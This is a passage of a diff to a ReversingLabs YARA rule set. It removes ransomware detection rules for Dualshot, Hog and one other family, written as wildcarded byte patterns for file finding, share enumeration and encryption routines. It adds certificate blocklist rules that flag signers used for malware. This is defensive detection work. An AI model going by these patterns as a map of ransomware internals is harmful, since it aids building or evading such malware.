?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 C6 ?? E9 ?? ?? ?? ?? BA ?? - ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 83 EC ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? - ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? 68 ?? ?? ?? ?? C6 00 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 - ?? ?? ?? ?? 8B E5 5D C3 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? B8 ?? ?? ?? ?? C3 - } - $enum_shares_p1 = { - 50 56 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 32 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F - 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 66 0F 1F 44 00 ?? FF 75 ?? 6A ?? FF - 15 ?? ?? ?? ?? 8B F0 8D 45 ?? 50 56 8D 45 ?? 89 75 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? - 85 C0 0F 85 ?? ?? ?? ?? 33 FF 0F 1F 40 ?? 3B 7D ?? 0F 83 ?? ?? ?? ?? 8B C7 C1 E0 ?? - 03 F0 F7 46 ?? ?? ?? ?? ?? 74 ?? 6A ?? E8 ?? ?? ?? ?? 0F 10 06 83 C4 ?? 8B C8 0F 11 - 00 0F 10 46 ?? 0F 11 40 ?? E8 ?? ?? ?? ?? 8B 75 ?? B3 ?? 47 EB ?? F7 46 ?? ?? ?? ?? - ?? 0F 84 ?? ?? ?? ?? 8B 56 ?? 85 D2 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? C6 45 ?? ?? 80 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D 71 ?? 8A 01 41 84 C0 75 - ?? 2B CE 51 52 8D 4D ?? E8 ?? ?? ?? ?? 51 8D 55 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? 83 C4 ?? 8B F0 BA ?? ?? ?? ?? C6 45 ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B - C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B - } - $enum_shares_p2 = { - 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 - ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 - 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8D 55 ?? 8B CC 51 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? - ?? ?? ?? 83 C4 ?? 8D 55 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 BA ?? ?? ?? ?? - C6 45 ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? C6 45 ?? ?? 83 C4 ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 - C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? - E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 - ?? ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72 ?? - 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? - E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B - C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? - 8B 75 ?? B3 ?? 47 E9 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? BA - ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8A C3 E9 ?? ?? - ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? - ?? ?? ?? C3 - } - $find_files = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? - ?? EC 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 8D 4D ?? - C6 45 ?? ?? 8B 75 ?? 83 FE ?? 8B 7D ?? 8B 55 ?? 0F 43 CF 6A ?? 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? 8D 4D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FE ?? 6A ?? 0F 43 CF 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FE ?? 6A ?? 0F 43 - CF 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FE ?? - 6A ?? 0F 43 CF 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 57 - C0 C7 45 ?? ?? ?? ?? ?? 66 0F D6 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? 83 FE ?? C6 45 ?? ?? 8D 4D ?? 0F 43 CF E8 ?? ?? ?? ?? 8B F0 89 75 - ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 45 ?? 8B D6 50 8B CE E8 ?? ?? ?? ?? 8B 5D ?? 83 C4 ?? - 85 DB 0F 84 ?? ?? ?? ?? 8D 7B ?? B9 ?? ?? ?? ?? 8B C7 66 0F 1F 44 00 ?? 8A 10 3A 11 - 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 F6 EB ?? - 1B F6 83 CE ?? B9 ?? ?? ?? ?? 8B C7 0F 1F 40 ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 - ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 3B F0 8B - 75 ?? 0F 85 ?? ?? ?? ?? 8B 43 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 4D ?? 57 3D ?? ?? ?? ?? - 75 ?? E8 ?? ?? ?? ?? 50 8D 55 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC - ?? C6 45 ?? ?? 8B CC 8B D0 51 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D - ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 EC ?? C6 45 ?? ?? 8B CC 8D 55 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 83 C4 - ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 75 ?? E9 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? - 83 EC ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? BA ?? ?? ?? - ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? B8 ?? ?? ?? ?? C3 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? - ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD - E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? - ?? EC 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 C6 45 ?? - ?? 83 05 ?? ?? ?? ?? ?? 83 15 ?? ?? ?? ?? ?? 83 EC ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 - 41 ?? ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? C6 00 ?? 8D 45 ?? 6A ?? - 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? C6 45 ?? ?? 8B CC C7 41 - ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? C6 00 - ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D - 4D ?? 83 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 7D ?? 0F 43 05 ?? ?? ?? ?? 83 FF ?? FF - 35 ?? ?? ?? ?? 8B 75 ?? 0F 43 CE 8B 55 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? - ?? ?? ?? 83 FF ?? 8D 4D ?? 6A ?? 0F 43 CE 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 - C0 0F 84 ?? ?? ?? ?? 83 FF ?? 8D 4D ?? 6A ?? 0F 43 CE 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 FF ?? 8D 4D ?? 6A ?? 0F 43 CE 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 - } - $encrypt_files_p2 = { - 84 C0 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? - ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 - ?? 6A ?? 0F 43 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B - D8 83 FB ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 6A ?? 8B F0 8B FA 8D 45 ?? 50 68 ?? - ?? ?? ?? FF 35 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 2B C6 1B D7 01 05 - ?? ?? ?? ?? 11 15 ?? ?? ?? ?? 83 65 ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 8B FA - 8B F0 8B 55 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 2B C6 6A ?? 1B D7 01 05 ?? ?? ?? ?? - 8B 45 ?? 11 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 6A ?? 83 15 ?? ?? ?? ?? ?? 6A ?? 53 FF - 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 6A ?? 8B F0 8B FA 8D 45 ?? 50 FF 75 ?? FF 35 ?? ?? - ?? ?? 53 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 2B C6 53 1B D7 01 05 ?? ?? ?? ?? 11 15 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 51 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 83 - 79 ?? ?? 72 ?? 8B 09 83 7D ?? ?? 8D 45 ?? 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? 83 05 ?? ?? ?? ?? ?? 83 15 ?? ?? ?? ?? ?? EB ?? 53 FF 15 ?? ?? ?? - ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? - 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $enum_volumes and $find_files and ( all of ( $enum_shares_p* ) ) and ( all of ( $encrypt_files_p* ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "54:a1:70:10:24:61:fd:c9:67:ac:fa:fe:4b:bb:c7:f0" and 1476748800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Dualshot : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0C501B8B113209C96C8119Cf7A6B8B79 : INFO FILE { meta: - description = "Yara rule that detects Dualshot ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "17828c85-0f1b-581b-842a-24e6f26e0b4d" - date = "2020-11-20" - modified = "2020-11-20" + id = "9ec73230-10cd-55ad-9ef7-56a875294cab" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Dualshot.yara#L1-L112" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13494-L13510" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a401369357901f42ad83227b025d3b14b3acd1f50705da82afbe8e4f85501919" + logic_hash = "dca37fda83650979566fb6ffbedaf713955a3c7f03ecc62e2e155475b7ca00e4" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Dualshot" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $internal_encrypt_file = { - 02 28 ?? ?? ?? ?? 0A 02 28 ?? ?? ?? ?? 0B 02 28 ?? ?? ?? ?? 0C 02 28 ?? ?? ?? ?? 03 28 - ?? ?? ?? ?? 0D 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 09 16 09 8E 69 6F ?? - ?? ?? ?? 6F ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 28 ?? ?? ?? ?? 02 72 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 07 28 ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ?? - ?? 02 1B 19 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 00 02 28 ?? ?? ?? ?? DE ?? 26 - DE ?? 2A - } - $encrypt_files_p1 = { - 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? - 8E 69 32 ?? DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 11 ?? 13 - ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? - 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? - ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? - ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 11 - ?? 6F ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 8E 69 6F ?? ?? ?? ?? 6F ?? ?? - ?? ?? 06 72 ?? ?? ?? ?? 12 ?? 6F ?? ?? ?? ?? 26 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 1F ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 - ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 72 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F ?? - ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 11 ?? - 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? - 26 DE ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 25 16 28 ?? ?? ?? ?? 6F ?? - ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A 11 ?? - A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 2C ?? 73 ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F - ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2B ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 11 ?? - 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A - } - $encrypt_files_p2 = { - 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 17 9A 28 ?? ?? ?? ?? 13 ?? 02 - 18 9A 28 ?? ?? ?? ?? 2C ?? 02 18 9A 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 02 18 9A 1B 19 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 02 18 - 9A 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 2A 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 12 ?? 6F ?? ?? ?? ?? 26 07 72 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 18 8D ?? ?? - ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 00 - 1B 8D ?? ?? ?? ?? 25 16 28 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 08 20 ?? ?? ?? - ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 - 25 1A 11 ?? 08 11 ?? 8E 69 6F ?? ?? ?? ?? 9A A2 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 11 ?? 6F ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F - ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 - ?? 1F ?? 3F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 25 16 6F ?? ?? ?? ?? 25 17 - 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 2A - } - $find_files_p1 = { - 73 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 72 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2D ?? 72 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 2C ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C 28 ?? ?? ?? ?? 16 28 ?? ?? - ?? ?? 02 8E 39 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 16 0D - 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 17 0D 20 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 1F ?? 1B 28 ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 13 ?? 6F ?? ?? ?? ?? 13 ?? 28 - ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? - 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 25 11 ?? 16 11 - ?? 8E 69 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 8D ?? ?? ?? ?? 13 ?? 1C 8D ?? ?? ?? ?? 25 16 - 72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? - A2 25 1A 72 ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 13 ?? 1F ?? 8D ?? ?? ?? ?? 25 16 72 - ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 - 25 1A 72 ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 25 1C 72 ?? ?? ?? ?? A2 25 1D 72 ?? ?? - ?? ?? A2 25 1E 72 ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 72 - } - $find_files_p2 = { - A2 13 ?? 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 6F ?? ?? ?? ?? 1C 32 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? - 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? - 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 13 ?? - 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? - ?? ?? 2C ?? 12 ?? 11 ?? 8E 69 17 58 28 ?? ?? ?? ?? 11 ?? 11 ?? 16 6F ?? ?? ?? ?? 11 ?? - A2 2B - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $internal_encrypt_file ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "0c:50:1b:8b:11:32:09:c9:6c:81:19:cf:7a:6b:8b:79" and 1474329600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Hog : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0300Ee4A4C52443147821A8186D04309 : INFO FILE { meta: - description = "Yara rule that detects Hog ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b4f26acf-5ff1-5c49-8cfa-8f619af84efd" - date = "2021-10-12" - modified = "2021-10-12" + id = "abccf84f-ba18-5644-897c-d23a228facff" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Hog.yara#L1-L70" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13512-L13528" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c5cbc79fee9083ed3befa6b0d348f2d38064bb9012b8f0ca11afd7137243866d" + logic_hash = "8476ece98427c1ffd99d820c25fe664397de2c393473f7d5ee0846d8d840fd9e" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Hog" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $generate_key = { - 73 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 1A 8D ?? ?? ?? ?? 0C 2B ?? 07 08 6F ?? ?? ?? ?? 08 - 16 28 ?? ?? ?? ?? 0D 06 72 ?? ?? ?? ?? 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 5E 28 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 26 02 25 17 59 10 ?? 16 30 ?? 06 6F ?? ?? ?? ?? 13 ?? DE ?? 07 2C ?? - 07 6F ?? ?? ?? ?? DC 11 ?? 2A - } - $find_files = { - 16 7E ?? ?? ?? ?? 73 